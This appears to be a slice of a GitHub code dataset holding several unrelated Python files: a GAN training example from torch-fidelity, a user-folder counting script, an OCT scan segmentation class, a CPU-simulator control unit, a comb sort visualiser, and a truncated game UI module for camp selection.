shuffle=True, num_workers=4, pin_memory=True\n )\n loader_iter = iter(loader)\n\n # reinterpret command line inputs\n device = 'cuda' if torch.cuda.is_available() else 'cpu'\n num_classes = 10 if args.conditional else 0 # unconditional\n leading_metric, last_best_metric, metric_greater_cmp = {\n 'ISC': (torch_fidelity.KEY_METRIC_ISC_MEAN, 0.0, float.__gt__),\n 'FID': (torch_fidelity.KEY_METRIC_FID, float('inf'), float.__lt__),\n 'KID': (torch_fidelity.KEY_METRIC_KID_MEAN, float('inf'), float.__lt__),\n 'PPL': (torch_fidelity.KEY_METRIC_PPL_MEAN, float('inf'), float.__lt__),\n 'PRC': (torch_fidelity.KEY_METRIC_PRECISION, 0.0, float.__gt__),\n }[args.leading_metric]\n\n # create Generator and Discriminator models\n G = Generator(args.z_size).to(device).train()\n D = Discriminator(not args.disable_sn).to(device).train()\n \n # initialize persistent noise for observed samples\n z_vis = torch.randn(64, args.z_size, device=device)\n\n # prepare optimizer and learning rate schedulers (linear decay)\n optim_G = torch.optim.Adam(G.parameters(), lr=args.lr, betas=(0.0, 0.9))\n optim_D = torch.optim.Adam(D.parameters(), lr=args.lr, betas=(0.0, 0.9))\n scheduler_G = torch.optim.lr_scheduler.LambdaLR(optim_G, lambda step: 1. - step / args.num_total_steps)\n scheduler_D = torch.optim.lr_scheduler.LambdaLR(optim_D, lambda step: 1. - step / args.num_total_steps)\n\n # initialize logging\n tb = tensorboard.SummaryWriter(log_dir=args.dir_logs)\n pbar = tqdm.tqdm(total=args.num_total_steps, desc='Training', unit='batch')\n os.makedirs(args.dir_logs, exist_ok=True)\n\n for step in range(args.num_total_steps):\n # read next batch\n try:\n real_img, real_label = next(loader_iter)\n except StopIteration:\n loader_iter = iter(loader)\n real_img, real_label = next(loader_iter)\n real_img = real_img.to(device)\n real_label = real_label.to(device)\n\n # update Generator\n G.requires_grad_(True)\n D.requires_grad_(False)\n z = torch.randn(args.batch_size, args.z_size, device=device)\n optim_D.zero_grad()\n optim_G.zero_grad()\n fake = G(z)\n loss_G = hinge_loss_gen(D(fake))\n loss_G.backward()\n optim_G.step()\n\n # update Discriminator\n G.requires_grad_(False)\n D.requires_grad_(True)\n for d_iter in range(args.num_dis_updates):\n z = torch.randn(args.batch_size, args.z_size, device=device)\n optim_D.zero_grad()\n optim_G.zero_grad()\n fake = G(z)\n loss_D = hinge_loss_dis(D(fake), D(real_img))\n loss_D.backward()\n optim_D.step()\n\n # log\n if (step + 1) % 10 == 0:\n step_info = {'loss_G': loss_G.cpu().item(), 'loss_D': loss_D.cpu().item()}\n pbar.set_postfix(step_info)\n for k, v in step_info.items():\n tb.add_scalar(f'loss/{k}', v, global_step=step)\n tb.add_scalar(f'LR/lr', scheduler_G.get_last_lr()[0], global_step=step)\n pbar.update(1)\n\n # decay LR\n scheduler_G.step()\n scheduler_D.step()\n\n # check if it is validation time\n next_step = step + 1\n if next_step % args.num_epoch_steps != 0:\n continue\n pbar.close()\n G.eval()\n print('Evaluating the generator...')\n\n # compute and log generative metrics\n metrics = torch_fidelity.calculate_metrics(\n input1=torch_fidelity.GenerativeModelModuleWrapper(G, args.z_size, args.z_type, num_classes),\n input1_model_num_samples=args.num_samples_for_metrics,\n input2='cifar10-train',\n isc=True,\n fid=True,\n kid=True,\n ppl=True,\n ppl_epsilon=1e-2,\n ppl_sample_similarity_resize=64,\n prc=True,\n )\n \n # log metrics\n for k, v in metrics.items():\n tb.add_scalar(f'metrics/{k}', v, global_step=next_step)\n\n # log observed images\n samples_vis = G(z_vis).detach().cpu()\n samples_vis = torchvision.utils.make_grid(samples_vis).permute(1, 2, 0).numpy()\n tb.add_image('observations', samples_vis, global_step=next_step, dataformats='HWC')\n samples_vis = PIL.Image.fromarray(samples_vis)\n samples_vis.save(os.path.join(args.dir_logs, f'{next_step:06d}.png'))\n\n # save the generator if it improved\n if metric_greater_cmp(metrics[leading_metric], last_best_metric):\n print(f'Leading metric {args.leading_metric} improved from {last_best_metric} to {metrics[leading_metric]}')\n\n last_best_metric = metrics[leading_metric]\n\n dummy_input = torch.zeros(1, args.z_size, device=device)\n torch.jit.save(torch.jit.trace(G, (dummy_input,)), os.path.join(args.dir_logs, 'generator.pth'))\n torch.onnx.export(G, dummy_input, os.path.join(args.dir_logs, 'generator.onnx'),\n opset_version=11, input_names=['z'], output_names=['rgb'],\n dynamic_axes={'z': {0: 'batch'}, 'rgb': {0: 'batch'}},\n )\n\n # resume training\n if next_step <= args.num_total_steps:\n pbar = tqdm.tqdm(total=args.num_total_steps, initial=next_step, desc='Training', unit='batch')\n G.train()\n\n tb.close()\n print(f'Training finished; the model with best {args.leading_metric} value ({last_best_metric}) is saved as '\n f'{args.dir_logs}/generator.onnx and {args.dir_logs}/generator.pth')\n\n\ndef main():\n dir = os.getcwd()\n parser = argparse.ArgumentParser()\n parser.add_argument('--batch_size', type=int, default=64)\n parser.add_argument('--num_total_steps', type=int, default=100000)\n parser.add_argument('--num_epoch_steps', type=int, default=5000)\n parser.add_argument('--num_dis_updates', type=int, default=5)\n parser.add_argument('--num_samples_for_metrics', type=int, default=50000)\n parser.add_argument('--lr', type=float, default=2e-4)\n parser.add_argument('--z_size', type=int, default=128, choices=(128,))\n parser.add_argument('--z_type', type=str, default='normal')\n parser.add_argument('--leading_metric', type=str, default='ISC', choices=('ISC', 'FID', 'KID', 'PPL', 'PRC'))\n parser.add_argument('--disable_sn', default=False, action='store_true')\n parser.add_argument('--conditional', default=False, action='store_true')\n parser.add_argument('--dir_dataset', type=str, default=os.path.join(dir, 'dataset'))\n parser.add_argument('--dir_logs', type=str, default=os.path.join(dir, 'logs'))\n args = parser.parse_args()\n print('Configuration:\\n' + ('\\n'.join([f'{k:>25}: {v}' for k, v in args.__dict__.items()])))\n assert not args.conditional, 'Conditional mode not implemented'\n train(args)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"toshas/torch-fidelity","sub_path":"examples/sngan_cifar10.py","file_name":"sngan_cifar10.py","file_ext":"py","file_size_in_byte":10368,"program_lang":"python","lang":"en","doc_type":"code","stars":777,"dataset":"github-code","pt":"69"} +{"seq_id":"15063011804","text":"import os,datetime,glob,csv,time,sys\r\n\r\npath = \"F:/Freshware/Vortex/Users/*\" #User folder location, USE FORWARD SLASHES\r\n\r\nsave_path = \"F:/Freshware/Vortex/User Counts\" #User count save destination, USE FORWARD SLASHES\r\n\r\ndir_length = len(path)-1 #Char length of user path\r\n\r\nx = glob.glob(path)\r\n\r\nwith open('Date.csv', 'w', newline='') as csvfile:\r\n writer = csv.writer(csvfile)\r\n writer.writerow('Ignore this file')\r\n\r\nfilename = os.path.join(save_path, str('Date.csv'))\r\n\r\nif os.path.exists(filename):\r\n os.remove(filename)\r\n\r\nos.rename('Date.csv', filename)\r\n\r\ncurr_date = os.path.getmtime(os.path.join(save_path, 'Date.csv'))\r\n\r\nsix_months = curr_date - (60*60*24*180)\r\n\r\nt = 0\r\n\r\ny = int(len(x)) #How many lines are in the list\r\n\r\ntotal = ['Total Users = ' + str(int(len(x)))]\r\n\r\ncounter = 0\r\n\r\nfinal_list = []\r\n\r\nwith open('Temp.csv', 'w', newline='') as csvfile:\r\n writer = csv.writer(csvfile, delimiter=',', quotechar=',', quoting=csv.QUOTE_MINIMAL, lineterminator=\"\\n\")\r\n writer.writerow(['Name', 'Date Last Active'])\r\n\r\nwhile y != 0:\r\n strPath = str(x[t])\r\n strAlt_Path = (os.path.dirname(strPath + '/') + '/')\r\n if os.path.exists(os.path.join(strAlt_Path, 'VorCfg.mde')):\r\n date_modified = os.path.getmtime(os.path.join(strAlt_Path, 'VorCfg.mde'))\r\n a = strPath[dir_length:], datetime.datetime.fromtimestamp(int(date_modified)).strftime('%Y-%m-%d'), \"\\n\"\r\n print((strAlt_Path[dir_length:])[:3])\r\n with open('Temp.csv', 'a', newline='') as csvfile:\r\n writer = csv.writer(csvfile)\r\n writer.writerow(a)\r\n final_list.extend(a)\r\n if date_modified > six_months:\r\n if str((strAlt_Path[dir_length:])[:3]) != 'ZZZ':\r\n counter = counter + 1\r\n else:\r\n a = strPath[dir_length:] + ' [USER NOT CONFIGURED PROPERLY]', 0\r\n with open('Temp.csv', 'a', newline='') as csvfile:\r\n writer = csv.writer(csvfile)\r\n writer.writerow(a)\r\n final_list.extend(a)\r\n t = t+1\r\n y = y-1\r\n\r\nnow = time.strftime(\"%d/%m/%Y\").replace(\"/\", \"\")\r\n\r\ntotal_active = ['Total Active Users = ' + str(counter)]\r\n\r\nwith open('Temp.csv', 'a', newline='') as csvfile:\r\n writer = csv.writer(csvfile, delimiter=',', quotechar=',', quoting=csv.QUOTE_MINIMAL, lineterminator=\"\\n\")\r\n writer.writerow('')\r\n writer.writerow(total)\r\n writer.writerow(total_active)\r\n\r\nfilename = os.path.join(save_path, str('UserCount ' + now + '.csv'))\r\n\r\nif os.path.exists(filename):\r\n os.remove(filename)\r\n\r\nos.rename('Temp.csv', filename)\r\n\r\nprint(*final_list, sep = \"\\n\")\r\nprint('')\r\nprint('Total Users = ' + str(int(len(x))))\r\nprint('Total Active Users = ' + str(counter))\r\nprint('File Name: ' + str('UserCount ' + now + '.csv'))\r\nprint('')\r\nprint('=================DONE=================')\r\nprint('')\r\n\r\nos.system('pause')","repo_name":"4lphabeta/User-Count-Script","sub_path":"User_Count.py","file_name":"User_Count.py","file_ext":"py","file_size_in_byte":2849,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"1347640678","text":"\"\"\"\n-*- coding: utf-8 -*-\n\n.. currentmodule: src\n\nFile: OCTscanSegmentation.py\n\nClass :class:`octant.data.OCTscanSegmentation`\n\nA retinal layer segmentation over a :class:`octant.data.OCTscan`\n\n:Log:\n\n+-------------+--------+------------------------------------------------------+\n| Date | Author | Description |\n+=============+========+======================================================+\n| 18-Oct-2018 | FOE | - Class created. |\n+-------------+--------+------------------------------------------------------+\n| 2-Dec-2018 | FOE | - Minor debugging. |\n| | | - Added read only property shape |\n+-------------+--------+------------------------------------------------------+\n| 20-Dec-2018 | FOE | - Minor debugging. Assigment of property classMap |\n| | | in property setter was being \"assigned\" to cm. |\n+-------------+--------+------------------------------------------------------+\n| 27-Feb-2019 | FOE | - Adapted to new package OCTant structure. |\n| | | Class rebranded OCTscanSegmentation. The prefix |\n| | | IOT is drop and it is now part of the package. |\n| | | - Importing statements for classes within this |\n| | | package are now made through package instead |\n| | | of one class at time. |\n+-------------+--------+------------------------------------------------------+\n| 4-Apr-2019 | FOE | - Minor debugging. Updated call from `IOT_OCTScan` to|\n| | | :class:`octant.data.OCTscan` in class constructor. |\n+-------------+--------+------------------------------------------------------+\n| 16-Jan-2020 | FOE | - Import line: |\n| | | import octant.data as octant |\n| | | was causing error: |\n| | | AttributeError: module 'octant' has no attribute |\n| | | 'data' |\n| | | It has now been updated to: |\n| | | from octant import data as octant |\n+-------------+--------+------------------------------------------------------+\n\n.. seealso:: None\n.. note:: None\n.. todo:: None\n\n\n.. sectionauthor:: Felipe Orihuela-Espina <f.orihuela-espina@inaoep.mx>\n.. codeauthor:: Felipe Orihuela-Espina <f.orihuela-espina@inaoep.mx>\n\n\"\"\"\n\n\n## Import\nimport warnings\n\nimport numpy as np\n#from skimage import color\n\nfrom octant import version\n#import octant.data as octant\nfrom octant import data as octant\n\n\n## Class definition\nclass OCTscanSegmentation(object):\n #Sphinx documentation\n \"\"\"A retinal layer segmentation over a :class:`octant.data.OCTscan`\n\n A retinal layer segmentation over a :class:`octant.data.OCTscan`. A segmentation \n assigns every pixel of the scan a class label.\n \n Please note that this is a data model class; it keeps the segmentation\n but it is NOT capable of \"computing\" such segmentation. To compute a\n segmentation please refer to :class:`octant.op.OpScanSegment`.\n \n The segmentation is sized and shaped equal to its base\n :class:`octant.data.OCTscan`.\n \n A default segmentation sets the whole segmentation to BACKGROUND.\n \n .. seealso:: :class:`octant.data.OCTscan`, :class:`octant.op.OpScanSegment`\n .. note:: None\n .. todo:: None\n\n \"\"\"\n\n _BACKGROUND = 0 #The background label identifier\n\n\n #Class constructor\n def __init__(self,*args):\n \"\"\"The class constructor.\n\n The class constructor.\n\n tmp = OCTscanSegmentation(theOCTScan) - Creates a default \n segmentation for the given :class:`octant.data.OCTscan`\n\n :param theOCTScan: The OCT scan to be segmented\n :type img: :class:`octant.data.OCTscan`\n \n \"\"\"\n refImage = octant.OCTscan(); #Dummy reference\n if (len(args)==0):\n warnMsg = self.getClassName() + ':__init__: Unexpected number of input arguments. Generating a dummy reference scan.'\n warnings.warn(warnMsg,SyntaxWarning)\n else:\n refImage = args[0]\n # if type(refImage) is not octant.OCTscan:\n # raise ErrorValue #Throw error\n\n #Initialize attributes (without decorator @property)\n\n #Initialize properties (with decorator @property)\n self.scan = refImage #The OCT scan over which the segmentation is made\n self.data = self._BACKGROUND*np.ones(refImage.shape) #The segmentation itself\n self.classMap = octant.RetinalLayers().layers #The map of class labels\n \n return\n\n #Properties getters/setters\n #\n # Remember: Sphinx ignores docstrings on property setters so all\n #documentation for a property must be on the @property method\n @property\n def data(self): #data getter\n \"\"\"\n The segmentation labels map. Please refer to :py:attr:`classMap` for\n classes.\n \n ..note: WARNING! This method is not currently checking whether the\n data is sized equal to the scan. This may become a problem later.\n The problem is that trying to check scan.shape will raise an\n error during object creation, when attemting to set the data\n but because the object has not been created yet, it still lacks\n the scan property even if declared in advance. \n\n :getter: Gets the segmentation map\n :setter: Sets the segmentation map \n :type: numpy.ndarray shaped [width,height]\n \"\"\"\n return self.__data\n\n @data.setter\n def data(self,segmentedImg): #data setter\n self.__data = segmentedImg;\n # if segmentedImg is not None:\n # #Check whether the image is in RGB (ndim=3) or in grayscale (ndim=2)\n # #and convert to grayscale if necessary\n # if ((segmentedImg.ndim == 2) & (segmentedImg.shape == self.scan.shape)):\n # #Dimensions are only width and height, and matches that of\n # #the scan.\n # self.__data = segmentedImg;\n # else: #Unexpected case. Return warning\n # warnMsg = self.getClassName() + ':data: Unexpected segmentation shape.'\n # warnings.warn(warnMsg,SyntaxWarning)\n return None\n\n\n @property\n def scan(self): #scan getter\n \"\"\"\n The base OCT scan. Please refer to :py:attr:`data` for\n the segmentation map.\n\n :getter: Gets the base OCT scan\n :setter: Sets the base OCT scan\n :type: :class:`octant.data.OCTscan`\n \"\"\"\n return self.__scan\n\n @scan.setter\n def scan(self,octScan): #scan setter\n if octScan is not None:\n #Check whether the image is in RGB (ndim=3) or in grayscale (ndim=2)\n #and convert to grayscale if necessary\n if type(octScan) is octant.OCTscan:\n #Dimensions are only width and height, and matches that of\n #the scan.\n self.__scan = octScan;\n self.clear() \n else: #Unexpected case. Return warning\n warnMsg = self.getClassName() + ':data: Unexpected type for OCT scan.'\n warnings.warn(warnMsg,SyntaxWarning)\n return None\n\n\n @property\n def shape(self): #shape getter\n \"\"\"\n The scan segmentation shape [width,height].\n \n :getter: Gets the scan segmentation shape\n :setter: None. This is a read-only property.\n :type: Tuple [width,height]\n \"\"\"\n return self.__data.shape\n\n\n @shape.setter\n def shape(self,*args): #shape setter\n #Catching attempts to set the shape of the scan\n warnMsg = self.getClassName() + ':shape: shape is a read-only property.'\n warnings.warn(warnMsg,UserWarning)\n return\n\n\n @property\n def classMap(self): #classMap getter\n \"\"\"\n The map of classes.\n \n The map of classes; the list of class names associated to each\n value in the segmentation map.\n \n ..note: This list does NOT include the BACKGROUND class.\n\n :getter: Gets the base OCT scan\n :setter: Sets the base OCT scan\n :type: :class:`octant.data.OCTscan`\n \"\"\"\n return self.__classMap\n\n @classMap.setter\n def classMap(self,cm): #classMap setter\n if cm is not None:\n #Check that we are receiving the correct type\n if type(cm) is dict:\n self.__classMap = cm;\n else: #Unexpected case. Return warning\n warnMsg = self.getClassName() + ':classMap: Unexpected type for classMap.'\n warnings.warn(warnMsg,SyntaxWarning)\n return None\n\n\n\n #Private methods\n def __str__(self):\n s = '<' + self.getClassName() + '([' \\\n + ' scan: ' + format(self.scan) + ',' \\\n + ' data: ' + format(self.data) + ',' \\\n + ' classMap: ' + format(self.classMap) + '])>'\n return s\n\n\n #Public methods\n def getClassName(self):\n \"\"\"Get the class name as a string.\n\n Get the class name as a string.\n\n :returns: The class name.\n :rtype: string\n \"\"\"\n return type(self).__name__\n\n \n def clear(self):\n \"\"\"Clears/Resets the segmentation map to _BACKGROUND.\n \n Clears/Resets the segmentation map to _BACKGROUND. All pixels are\n assigned the background label.\n \n \"\"\"\n self.data = self._BACKGROUND*np.ones(self.scan.shape)\n return None","repo_name":"forihuelaespina/OCTant","sub_path":"src/octant/data/OCTscanSegmentation.py","file_name":"OCTscanSegmentation.py","file_ext":"py","file_size_in_byte":9897,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"18592472152","text":"class UC:\n def __init__(self):\n self.so = None\n\n def initialize(self, so):\n self.so = so\n \n # funcao para alterar o so de uma unidade de controle\n def change_so(self, so):\n self.so = so\n\n # laço principal\n def execute(self, base_instructions):\n f = open(\"T2/results.txt\", \"a\")\n f.truncate(0)\n while(self.so.cpu.error.code == -1 and self.so.cpu.internal_state.mode == \"NORMAL\"):\n state = self.so.cpu.print_internal_state()\n f.write(state + \" \\n\")\n self.so.cpu.read_instruction(base_instructions)\n self.so.clock.increase()\n\n \n if(self.so.cpu.error.code != -1):\n print(self.so.cpu.internal_state.mode_info)\n f.write(\"\\n\" + str(self.so.cpu.error.list[self.so.cpu.error.code]) +\n \"\\n\" \"Error info: \" + str(self.so.cpu.internal_state.mode_info) + \"\\n\")\n\n f.write(\"\\n\" + \"Input: \" + str(self.so.cpu.io.input) +\n \"\\n\" + \"Output: \" + str(self.so.cpu.io.output) + \"\\n\")\n f.close()\n\n return\n\n","repo_name":"haddadtheorc/UFSM","sub_path":"ELC1080-Sistemas-Operacionais/T2/uc.py","file_name":"uc.py","file_ext":"py","file_size_in_byte":1076,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"11866509008","text":"from animate_graph import plot\n\ndef next_gap(gap: int) -> int:\n gap = (gap * 10) // 13\n if gap < 1:\n return 1\n return gap\n\n\ndef comb_sort(arr: list[int]):\n \"\"\"\n ## Complexities:\n ```py\n Worst Case Time Complexity == O(n * n)\n Average Case Time Complexity == O(n * n / 2^i) # i = number of increments\n Best Case Time Complexity == O(n log n)\n Space Complexity == O(1)\n ```\n \"\"\"\n \n gap: int = len(arr)\n swapped: bool = True\n \n while gap != 1 or swapped == True:\n gap = next_gap(gap)\n swapped = False\n\n for i in range(0, len(arr) - gap):\n if arr[i] > arr[i + gap]:\n arr[i], arr[i + gap] = arr[i + gap], arr[i]\n swapped = True\n plot(i, arr, other_highlights=[i + gap])","repo_name":"c1m50c/sorting-algorithm-visualizer","sub_path":"src/algorithms/comb_sort.py","file_name":"comb_sort.py","file_ext":"py","file_size_in_byte":820,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"37987434020","text":"# -*- coding: gb18030 -*-\n#\n# $Id: RoleCreator.py,v 1.33 2008-08-26 02:20:43 huangyongwei Exp $\n\n\"\"\"\nimplement role creator class\n\"\"\"\n\nimport csdefine\nimport event.EventCenter as ECenter\nfrom LoginMgr import roleCreator\nfrom guis import *\nfrom guis.loginuis import *\nfrom guis.common.RootGUI import RootGUI\nfrom guis.common.PyGUI import PyGUI\nfrom guis.common.Window import Window\nfrom guis.controls.StaticText import StaticText\nfrom guis.controls.SelectableButton import SelectableButton\n#from guis.controls.SelectorGroup import SelectorGroup\nfrom guis.controls.ButtonEx import HButtonEx\nfrom guis.tooluis.CSRichText import CSRichText\nfrom LabelGather import labelGather\nfrom config.client.msgboxtexts import Datas as mbmsgs\nimport random\nimport Font\nimport MessageBox\n\nclass CampSelector( RootGUI ) :\n\t\"\"\"\n\t阵营选择界面\n\t\"\"\"\n\t_camp_videos = {csdefine.ENTITY_CAMP_TAOISM:\"\", csdefine.ENTITY_CAMP_DEMON:\"\"}\n\t\n\t_unit_width = 64.0\n\t\n\tdef __init__( self ):\n\t\twnd = GUI.load( \"guis/loginuis/campselector/wnd.gui\" )\n\t\tuiFixer.firstLoadFix( wnd )\n\t\tRootGUI.__init__( self, wnd )\n\t\tself.h_dockStyle = \"HFILL\"\n\t\tself.v_dockStyle = \"VFILL\"\n\t\tself.focus = False\n\t\tself.moveFocus = False\n\t\tself.posZSegment = ZSegs.L4\n\t\tself.activable_ = True\n\t\tself.escHide_ = False\n\t\tself.__triggers = {}\n\t\tself.__pyMsgBox = None\n\t\tself.__cbids = []\n\t\tself.__registerTriggers()\n\t\tself.__initialize( wnd )\n\t\tself.__camp = 0\n\t\n\tdef __initialize( self, wnd ):\n\t\tself.__pyStTitle = StaticText( wnd.stTitle )\n\t\tself.__pyStTitle.h_dockStyle = \"CENTER\"\n\t\tself.__pyStTitle.v_dockStyle = \"S_TOP\"\n\t\tlabelGather.setPyLabel( self.__pyStTitle, \"LoginDialog:CampSelector\", \"title\" )\n\t\t\n\t\tself.__pyFadeText = CSRichText( wnd.fadeText)\t\t# 阵营渐变说明\n\t\tself.__pyFadeText.h_dockStyle = \"CENTER\"\n\t\tself.__pyFadeText.v_dockStyle = \"S_TOP\"\n\t\tself.__pyFadeText.align = \"L\"\n\t\tself.__initContent( \"MSYHBD.TTF\", 14 )\n\t\t\n\t\tself.__pyBtnQuit = HButtonEx( wnd.btnQuit )\n\t\tself.__pyBtnQuit.setExStatesMapping( UIState.MODE_R4C1 )\n\t\tself.__pyBtnQuit.h_dockStyle = \"S_RIGHT\"\n\t\tself.__pyBtnQuit.v_dockStyle = \"S_BOTTOM\"\n\t\tlabelGather.setPyBgLabel( self.__pyBtnQuit, \"LoginDialog:CampSelector\", \"btnQuit\" )\n\t\tself.__pyBtnQuit.onLClick.bind( self.__onQuit )\n\t\t\n\t\tbox = wnd.okCancelBox\n\t\tself.__pyOkCancelBox = PyGUI( box )\n\t\tself.__pyOkCancelBox.h_dockStyle = \"S_CENTER\"\n\t\tself.__pyOkCancelBox.v_dockStyle = \"BOTTOM\"\n\t\tself.__pyOkCancelBox.visible = False\n\t\t\n\t\tself.__pyMsgPanel = CSRichText( box.msgPanel )\n\t\tself.__pyMsgPanel.opGBLink = True\n\t\tself.__pyMsgPanel.font = \"MSYHBD.TTF\"\n\t\tself.__pyMsgPanel.fontSize = 14.0\n\t\tself.__pyMsgPanel.top = 50.0\n\t\tself.__pyMsgPanel.foreColor = (255,248,158,255)\n\t\t#self.__pyMsgPanel.limning = Font.LIMN_NONE\n\t\t\n\t\tself.__pyOkBtn = HButtonEx( box.okBtn, self )\t\t\t\t\t# 确定按钮\n\t\tself.__pyOkBtn.setExStatesMapping( UIState.MODE_R4C1 )\n\t\tself.__pyOkBtn.onLClick.bind( self.__onOk )\n\t\tself.__pyOkBtn.h_dockStyle = \"CENTER\"\n\t\tself.__pyOkBtn.v_dockStyle = \"BOTTOM\"\n\t\t\n\t\tself.__pyCancelBtn = HButtonEx( box.cancelBtn, self )\t\t\t# 取消按钮\n\t\tself.__pyCancelBtn.setExStatesMapping( UIState.MODE_R4C1 )\n\t\tself.__pyCancelBtn.onLClick.bind( self.__hideMsg )\n\t\tself.__pyCancelBtn.h_dockStyle = \"CENTER\"\n\t\tself.__pyCancelBtn.v_dockStyle = \"BOTTOM\"\n\n\t\tlabelGather.setPyBgLabel( self.__pyOkBtn, \"MsgBox:ocBox\", \"btnOk\" )\n\t\tlabelGather.setPyBgLabel( self.__pyCancelBtn, \"MsgBox:ocBox\", \"btnCancel\" )\n\t\t\t\t\n\t# ----------------------------------------------------------------\n\t# private\n\t# ----------------------------------------------------------------\n\tdef __registerTriggers( self ) :\n\t\tself.__triggers[\"EVT_ON_CAMP_SELECTOR_SHOW\"] = self.__onShow\n\t\tself.__triggers[\"EVT_ON_ROLE_CREATOR_SHOW\"] = self.__onHide\n\t\tself.__triggers[\"EVT_ON_KICKOUT_OVERTIME\"] = self.__onHide\n\t\tself.__triggers[\"EVT_ON_ROLECREATOR_CAMP_CHANGED\"] = self.__onCampSelected\t# 阵营改变触发\n\t\tself.__triggers[\"EVT_ON_RESOLUTION_CHANGED\"] = self.__onResolutionChanged\n\t\tfor key in self.__triggers :\n\t\t\tECenter.registerEvent( key, self )\n\n\tdef __deregisterTriggers( self ) :\n\t\tfor key in self.__triggers :\n\t\t\tECenter.unregisterEvent( key, self )\n\t# ------------------------------------------------------------------\n\tdef __initContent( self, font, fontSize ) :\n\t\t\"\"\"\"\"\"\n\t\tself.__pyFadeText.font = font\n\t\tself.__pyFadeText.fontSize = fontSize\n\t\n\tdef __onShow( self ):\n\t\t\"\"\"\n\t\t显示\n\t\t\"\"\"\n\t\tself.__setFocus( True )\n\t\tif self.__pyBtnQuit:\n\t\t\tself.__pyBtnQuit.visible = True\n\t\t#for item in self.__pyCampBtns.values():\n\t\t#\titem.visible = True\n\t\tif self.__pyStTitle:\n\t\t\tself.__pyStTitle.visible = True\n\t\tself.__pyOkCancelBox.visible = False\n\t\tself.show()\n\t\n\tdef __onHide( self ):\n\t\t\"\"\"\n\t\t隐藏\n\t\t\"\"\"\n\t\tself.hide()\n\t\n\tdef __onCampChanged( self, camp ):\n\t\t\"\"\"\n\t\t阵营改变,播放阵营视频\n\t\t\"\"\"\n\t\tvideoName = self._camp_videos.get( camp )\n\t\tif videoName is None:return\n\t\trds.gameMgr.playVideo( videoName )\n\t\n\tdef __onResolutionChanged( self, preReso ):\n\t\t\"\"\"\n\t\t分辨率改变\n\t\t\"\"\"\n\t\t#for campBtn in self.__pyCampBtns.values():\n\t\t#\tpyText = campBtn.pyText_\n\t\t#\tpyText.center = campBtn.center\n\t\t#\tpyText.top = campBtn.bottom\n#\t\tself.__layoutStarts()\n\t\n\tdef __onMouseEnter( self, pyCamp ):\n\t\tcamp = pyCamp.camp\n\t\tpyCamp.text = labelGather.getText( \"LoginDialog:CampSelector\", \"camp_%d\"%camp )\n\t\n\tdef __onMouseLeave( self, pyCamp ):\n\t\tif pyCamp.selected:\n\t\t\treturn\n\t\tpyCamp.text = \"\"\n\t\n\tdef __onCampSelected( self, pyCamp ):\n\t\tcamp = pyCamp\n\t\tself.__pyFadeText.text = roleCreator.getCampDesp( camp )\n\t\tself.__camp = camp\n\t\tself.__deleyFadeText()\n\t\trds.soundMgr.stopVoice()\n\t\tvoice = roleCreator.getCampVoice( camp )\n\t\tif len( voice ) > 0:\n\t\t\trds.soundMgr.playVoice( voice )\n\t\tmsg = mbmsgs[0x0e22]%labelGather.getText( \"LoginDialog:CampSelector\", \"camp_%d\"%camp )\n\t\tself.__pyOkCancelBox.visible = True\n\t\tself.__pyMsgPanel.text = msg\n\t\n\tdef __onOk( self, pyBtn ):\n\t\t\"\"\"\n\t\t\"\"\"\n\t\tself.hide()\n\t\tself.__pyOkCancelBox.visible = False\n\t\troleCreator.startEnterRoleCreator( self.__camp )\n\t\n\tdef __hideMsg( self, pyBtn ):\n\t\t\"\"\"\n\t\t\"\"\"\n\t\tself.__clear()\n\t\tif self.__pyBtnQuit:\n\t\t\tself.__pyBtnQuit.visible = True\n\t\tself.__pyOkCancelBox.visible = False\n\t\trds.roleCreator.cancelSelectedCamp()\n\t\n\tdef __onQuit( self, pyBtn ):\n\t\t\"\"\"\n\t\t退出\n\t\t\"\"\"\n\t\tdef query( id ) :\n\t\t\tif id == RS_OK :\n\t\t\t\tself.hide()\n\t\t\t\tif rds.roleSelector.getRoleCount() > 0:\t\t#返回角色选择\n\t\t\t\t\trds.roleCreator.cancel()\n\t\t\t\telse:\n\t\t\t\t\trds.roleCreator.cancelSelectCamp()\n\t\t\t\t\t\n\t\tmsg = mbmsgs[0x0e23]\n\t\tif self.__pyMsgBox:\n\t\t\tself.__pyMsgBox.visible = False\n\t\t\tself.__pyMsgBox = None\n\t\tself.__pyMsgBox = showMessage( msg, \"\", MB_OK_CANCEL, query )\n\t\n\tdef __setFocus( self, focus ):\n\t\t\"\"\"\n\t\t设置focus\n\t\t\"\"\"\n\t\t#for campBtn in self.__pyCampBtns.values():\n\t\t#\tcampBtn.focus = focus\n\t\t#\tcampBtn.crossFocus = focus\n\t\tself.__pyFadeText.crossFocus = focus\n\t\tself.__pyFadeText.focus = focus\n\t\n\tdef __deleyFadeText( self ):\n\t\t\"\"\"\n\t\t排序说明\n\t\t\"\"\"\n\t\tlineInfos = self.__pyFadeText.lineInfos_\n\t\thideTime = 0\n\t\tdelayTime = 0\n\t\tfor idx, elemInfo in enumerate( lineInfos ) :\n\t\t\tfader = GUI.AlphaShader()\t\t\t\t\t\t\t# 渐显 Shader\n\t\t\tfader.value = 0\n\t\t\tfader.speed = 1.5\n\t\t\tfader.reset()\n\t\t\tfor pyElem in elemInfo[1]:\t\t\t\t\t\t\t# 给行中的每个元素添加一个渐显 shader\n\t\t\t\tpyElem.gui.addShader( fader )\n\t\t\tfunc = Functor( self.__lineByLineShow, fader )\n\t\t\tcbid = BigWorld.callback( delayTime, func )\t\t\t# 启用渐显 callback\n\t\t\tself.__cbids.append( cbid )\n\t\t\tdelayTime += 0.0 #默认为2秒\n\n\tdef __lineByLineShow( self, fader ) :\n\t\t\"\"\"\n\t\t渐显文本行\n\t\t\"\"\"\n\t\tfader.value = 1\n\n\tdef __clear( self ) :\n\t\t\"\"\"\n\t\t清除当前所有提示文本\n\t\t\"\"\"\n\t\tfor cbid in self.__cbids :\n\t\t\tBigWorld.cancelCallback( cbid )\n\t\tself.__pyFadeText.clear()\n\t\n\tdef __layoutStarts( self ):\n\t\t\"\"\"\n\t\t分配星空\n\t\t\"\"\"\n\t\twidth = BigWorld.screenWidth()\n\t\theight = BigWorld.screenHeight()\n\t\twIdxs = int( 